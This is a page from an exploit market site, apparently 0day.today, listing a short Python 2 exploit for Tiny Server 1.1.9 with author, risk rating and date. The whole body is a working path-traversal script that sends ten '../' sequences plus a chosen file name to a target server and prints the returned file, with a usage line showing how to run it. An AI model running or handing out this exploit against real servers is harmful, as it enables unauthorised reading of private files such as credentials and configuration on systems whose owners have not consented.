[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Tiny Server 1.1.9 - Arbitrary File Disclosure Exploit

Author
yahyatnsk
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-23274
Category
remote exploits
Date add
10-02-2015
Platform
windows
# -*- coding: utf-8 -*-
import urllib2
import sys
#Tiny Server v1.1.9 Arbitrary File Disclosure Exploit

def banner():
	print "\033[1m\033[92mTiny Server v1.1.9 Arbitrary File Disclosure Exploit"
	print "Exploit Write by Yahya Tanisik"
	print "Contact : yahyatnsk@gmail.com"

if(len(sys.argv)==3):
	banner()
	print "\n"
	aragazi = '../'*10
	baglanti = urllib2.Request(str(sys.argv[1])+"/"+aragazi+""+str(sys.argv[2]))
	cikti = urllib2.urlopen(baglanti)
	print ('#'*30)+" File content "+('#'*30)
	print cikti.read()
else:
	banner()
	print "\033[91mUsage python exploit.py http://127.0.0.1:80 flag.txt"

#  0day.today [2024-07-02]  #